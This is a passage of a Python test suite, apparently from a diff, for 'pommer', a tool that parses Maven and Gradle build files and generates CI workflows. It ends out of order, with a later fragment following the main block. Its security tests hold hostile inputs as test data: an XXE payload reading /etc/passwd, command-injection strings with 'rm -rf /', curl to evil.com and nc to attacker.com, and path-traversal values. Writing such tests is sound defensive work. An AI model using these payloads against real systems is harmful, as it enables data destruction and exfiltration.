multi-module-parent + 1.0.0 + pom + + + core + web + api + + + + 11 + + """ + + # Core module POM + core_dir = os.path.join(temp_dir, 'core') + os.makedirs(core_dir) + core_pom = """ + + + com.example + multi-module-parent + 1.0.0 + + + core + Core Module + """ + + # Web module POM + web_dir = os.path.join(temp_dir, 'web') + os.makedirs(web_dir) + web_pom = """ + + + com.example + multi-module-parent + 1.0.0 + + + web + Web Module + war + """ + + # Write all POM files + with open(os.path.join(temp_dir, 'pom.xml'), 'w') as f: + f.write(root_pom) + with open(os.path.join(core_dir, 'pom.xml'), 'w') as f: + f.write(core_pom) + with open(os.path.join(web_dir, 'pom.xml'), 'w') as f: + f.write(web_pom) + + # Find and parse all POMs + found_poms = pommer.find_pom_files(temp_dir) + assert len(found_poms) == 3 + + parsed_projects = [] + for pom_path in found_poms: + result = pommer.parse_pom_xml(pom_path) + if result: + parsed_projects.append(result) + + assert len(parsed_projects) == 3 + + # Verify each module + artifacts = {p['artifact_id'] for p in parsed_projects} + assert 'multi-module-parent' in artifacts + assert 'core' in artifacts + assert 'web' in artifacts + + # Check packaging types + packaging_types = {p['artifact_id']: p['packaging'] for p in parsed_projects} + assert packaging_types['multi-module-parent'] == 'pom' + assert packaging_types['core'] == 'jar' # default + assert packaging_types['web'] == 'war' + + shutil.rmtree(temp_dir) + + +@pytest.fixture +def mock_filesystem(): + """Fixture to provide mock filesystem operations""" + with patch('os.path.exists'), \ + patch('os.makedirs'), \ + patch('os.chmod'), \ + patch('builtins.open', mock_open()) as mock_file: + yield mock_file + + +class TestPerformanceAndScalability: + """Test performance and scalability aspects""" + + def test_large_number_of_projects(self): + """Test handling a large number of projects""" + # Create 100 mock project infos + large_project_list = [] + for i in range(100): + large_project_list.append({ + "artifact_id": f"project-{i}", + "name": f"Project {i}", + "java_version": str(8 + (i % 10)), # Mix of Java 8-17 + "pom_path": f"module{i}/pom.xml", + "build_system": "maven", + "default_goal": None + }) + + # Should handle large lists without issues + workflow = pommer.generate_maven_workflow(large_project_list) + assert workflow is not None + + # Check that all projects are included + for i in range(100): + assert f"project-{i}" in workflow + + # Should use the highest Java version (17) + assert "JDK 17" in workflow + + def test_deeply_nested_directory_structure(self): + """Test handling deeply nested directory structures""" + temp_dir = tempfile.mkdtemp() + + # Create deeply nested structure (10 levels deep) + current_dir = temp_dir + for i in range(10): + current_dir = os.path.join(current_dir, f"level{i}") + os.makedirs(current_dir) + + # Create POM at the deepest level + deep_pom_path = os.path.join(current_dir, "pom.xml") + with open(deep_pom_path, 'w') as f: + f.write(""" + + deep-project + """) + + # Should find the deeply nested POM + found_poms = pommer.find_pom_files(temp_dir) + assert len(found_poms) == 1 + assert deep_pom_path in found_poms + + # Should parse successfully + result = pommer.parse_pom_xml(deep_pom_path) + assert result is not None + assert result['artifact_id'] == 'deep-project' + + shutil.rmtree(temp_dir) + + +class TestSecurityConsiderations: + """Test security-related aspects""" + + def test_xml_external_entity_prevention(self): + """Test prevention of XML External Entity (XXE) attacks""" + xxe_pom = ''' + + ]> + + xxe-test + &xxe; + ''' + + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: + f.write(xxe_pom) + f.flush() + + # Should handle XXE attempts safely + result = pommer.parse_pom_xml(f.name) + # Either parse safely (ignoring external entities) or fail gracefully + assert result is None or (result is not None and '/etc/passwd' not in str(result)) + + os.unlink(f.name) + + def test_command_injection_prevention(self): + """Test prevention of command injection through malicious project names""" + malicious_names = [ + "project; rm -rf /", + "project && curl evil.com", + "project | nc attacker.com 1337", + "project`whoami`", + "project$(id)", + "project'; DROP TABLE users; --" + ] + + for malicious_name in malicious_names: + project_info = [{ + "artifact_id": malicious_name, + "name": malicious_name, + "java_version": "11", + "pom_path": "pom.xml", + "build_system": "maven" + }] + + # Generate workflow - should not contain raw malicious commands + workflow = pommer.generate_maven_workflow(project_info) + script = pommer.generate_build_script(project_info) + + # Basic check - malicious chars should be escaped or contained + assert workflow is not None + assert script is not None + # The malicious name should be present but properly quoted/escaped + assert malicious_name in workflow + assert malicious_name in script + + def test_path_injection_prevention(self): + """Test prevention of path injection attacks""" + malicious_paths = [ + "../../../etc/passwd", + "..\\..\\windows\\system32", + "/etc/shadow; cat /etc/passwd", + "pom.xml && rm -rf /", + "build.gradle | curl evil.com" + ] + + for malicious_path in malicious_paths: + # Should handle malicious paths safely + result_pom = pommer.parse_pom_xml(malicious_path) + result_gradle = pommer.parse_gradle_file(malicious_path) + + # Should either return None or handle safely + assert result_pom is None # Non-existent files + assert result_gradle is None + + +class TestCompatibilityAndStandards: + """Test compatibility with various standards and versions""" + + def test_maven_pom_versions_compatibility(self): + """Test compatibility with different POM model versions""" + pom_versions = [ + "4.0.0", + "4.0.1", + "4.1.0" + ] + + for version in pom_versions: + pom_content = f''' + + {version} + version-test-{version.replace(".", "-")} + ''' + + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: + f.write(pom_content) + f.flush() + + result = pommer.parse_pom_xml(f.name) + assert result is not None + assert f'version-test-{version.replace(".", "-")}' in result['artifact_id'] + + os.unlink(f.name) + + def test_gradle_wrapper_versions(self): + """Test handling of different Gradle wrapper versions""" + wrapper_versions = ["7.6", "8.0", "8.4", "8.5"] + + for version in wrapper_versions: + temp_dir = tempfile.mkdtemp() + + # Create gradle files + gradle_path = os.path.join(temp_dir, "build.gradle") + gradlew_path = os.path.join(temp_dir, "gradlew") + wrapper_props_dir = os.path.join(temp_dir, "gradle", "wrapper") + os.makedirs(wrapper_props_dir) + wrapper_props_path = os.path.join(wrapper_props_dir, "gradle-wrapper.properties") + + with open(gradle_path, 'w') as f: + f.write("// Test gradle file") + + with open(gradlew_path, 'w') as f: + f.write("#!/bin/bash\necho 'Gradle wrapper'") + + with open(wrapper_props_path, 'w') as f: + f.write(f"distributionUrl=https\\://services.gradle.org/distributions/gradle-{version}-bin.zip") + + project_info = [{ + "artifact_id": f"gradle-{version}", + "name": f"Gradle {version}", + "java_version": "17", + "gradle_path": gradle_path, + "build_system": "gradle" + }] + + # Should handle different wrapper versions + workflow = pommer.generate_gradle_workflow(project_info) + assert workflow is not None + assert "./gradlew" in workflow + + shutil.rmtree(temp_dir) + + def test_java_version_compatibility(self): + """Test compatibility with various Java versions""" + java_versions = ["8", "11", "17", "21"] + + for java_ver in java_versions: + pom_content = f''' + + java-{java_ver}-test + + {java_ver} + + ''' + + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: + f.write(pom_content) + f.flush() + + result = pommer.parse_pom_xml(f.name) + assert result is not None + assert result['java_version'] == java_ver + + # Test workflow generation + workflow = pommer.generate_maven_workflow([result]) + assert f"JDK {java_ver}" in workflow + + os.unlink(f.name) + + +class TestDocumentationAndUsability: + """Test documentation-related functionality and usability""" + + def test_help_message_accessibility(self): + """Test that help messages are accessible and informative""" + with patch('sys.argv', ['pommer.py', '--help']): + with pytest.raises(SystemExit) as exc_info: + pommer.main() + # Help should exit with code 0 + assert exc_info.value.code == 0 + + def test_error_message_clarity(self): + """Test that error messages are clear and helpful""" + with patch('builtins.print') as mock_print: + # Test with non-existent directory + with patch('pommer.find_pom_files', return_value=[]): + with patch('pommer.find_gradle_files', return_value=[]): + with patch('sys.argv', ['pommer.py', '--dir', '/nonexistent']): + try: + pommer.main() + except SystemExit: + pass + + # Should print helpful error message + printed_args = [call.args[0] for call in mock_print.call_args_list] + error_messages = [msg for msg in printed_args if 'found' in msg.lower()] + assert len(error_messages) > 0 + + def test_verbose_output_information(self): + """Test that verbose output provides useful information""" + with patch('builtins.print') as mock_print: + temp_dir = tempfile.mkdtemp() + + # Create a simple POM + pom_path = os.path.join(temp_dir, 'pom.xml') + with open(pom_path, 'w') as f: + f.write(''' + + verbose-test + ''') + + with patch('sys.argv', ['pommer.py', '--dir', temp_dir]): + with patch('os.makedirs'), patch('os.chmod'): + try: + pommer.main() + except SystemExit: + pass + + # Should print informative messages + printed_messages = [call.args[0] for call in mock_print.call_args_list] + assert any('Found' in msg for msg in printed_messages) + assert any('Parsing' in msg for msg in printed_messages) + assert any('generated' in msg for msg in printed_messages) + + shutil.rmtree(temp_dir) + + +class TestRegressionPrevention: + """Test cases to prevent regressions in known issues""" + + def test_empty_artifact_id_handling(self): + """Regression test: Handle empty or missing artifact IDs""" + empty_artifact_pom = ''' + + + com.test + ''' + + with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f: + f.write(empty_artifact_pom) + f.flush() + + result = pommer.parse_pom_xml(f.name) + # Should handle gracefully - either None or with fallback + if result is not None: + assert result['artifact_id'] == '' or len(result['artifact_id']) > 0 + + os.unlink(f.name) + + def test_special_characters_in_paths(self): + """Regression test: Handle special characters in file paths""" + special_chars = ["spaces in path", "path-with-dashes", "path_with_underscores", "path.with.dots"] + + for special_name in special_chars: + temp_dir = tempfile.mkdtemp() + special_dir = os.path.join(temp_dir, special_name) + os.makedirs(special_dir) + + pom_path = os.path.join(special_dir, 'pom.xml') + with open(pom_path, 'w') as f: + f.write(f''' + + special-chars-test + ''') + + # Should handle special characters in paths + result = pommer.parse_pom_xml(pom_path) + assert result is not None + assert result['artifact_id'] == 'special-chars-test' + + shutil.rmtree(temp_dir) + + def test_case_sensitivity_handling(self): + """Regression test: Handle case sensitivity correctly""" + mixed_case_gradle = ''' + GROUP = "com.test.UPPERCASE" + Version = "1.0.0" + sourceCompatibility = JavaVersion.VERSION_11 + ''' + + with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f: + f.write(mixed_case_gradle) + f.flush() + + result = pommer.parse_gradle_file(f.name) + assert result is not None + # Should handle case variations + assert result['java_version'] == '11' + + os.unlink(f.name) + + def test_workflow_yaml_validity(self): + """Regression test: Ensure generated YAML is valid""" + import yaml + + test_project = [{ + "artifact_id": "yaml-test", + "name": "YAML Test", + "java_version": "17", + "pom_path": "pom.xml", + "build_system": "maven" + }] + + workflow = pommer.generate_maven_workflow(test_project) + + # Should be valid YAML + try: + parsed_yaml = yaml.safe_load(workflow) + assert parsed_yaml is not None + assert 'name' in parsed_yaml + assert 'jobs' in parsed_yaml + except yaml.YAMLError: + pytest.fail("Generated workflow is not valid YAML") + + +if __name__ == "__main__": + # Run the tests with coverage + pytest.main([ + __file__, + "-v", + "--cov=pommer", + "--cov-report=html", + "--cov-report=term-missing", + "--cov-fail-under=90", # Require 90% coverage + "-x", # Stop on first failure for faster feedback + "--tb=short" # Shorter tracebacks + ]) pommer.generate_build_script(maven_projects) + + assert script is not None + assert "mvn" in script + assert "Maven Project" in script + assert "pom.xml" in script + + def test_generate_build_script_gradle_only(self): + """Test build script generation for Gradle-only projects""" + temp_dir = tempfile.mkdtemp() + gradle_path = os.path.join(temp_dir, "build.gradle") + gradlew_path = os.path.join(temp_dir, "gradlew") + + # Create files + with open(gradle_path, 'w') as f: + f.write("// test") + with open(gradlew_path, 'w') as f: + f.write("#!/bin/bash") + + gradle_projects = [{ + "name": "Gradle Project", + "gradle_path": gradle_path, + "build_system": "gradle" + }] + + script = pommer.generate_build_script(gradle_projects) + + assert script is not None + assert "gradlew" in script + assert "Gradle Project" in script + + shutil.rmtree(temp_dir) + + def test_generate_build_script_mixed_projects(self): + """Test build script generation for mixed Maven and Gradle projects""" + temp_dir = tempfile.mkdtemp() + gradle_path = os.path.join(temp_dir, "build.gradle") + + with open(gradle_path, 'w') as f: + f.write("// test") + + mixed_projects = [ + { + "name": "Maven Project", + "pom_path": "pom.xml", + "build_system": "maven" + }, + { + "name": "Gradle Project", + "gradle_path": gradle_path, + "build_system": "gradle" + } + ] + \ No newline at end of file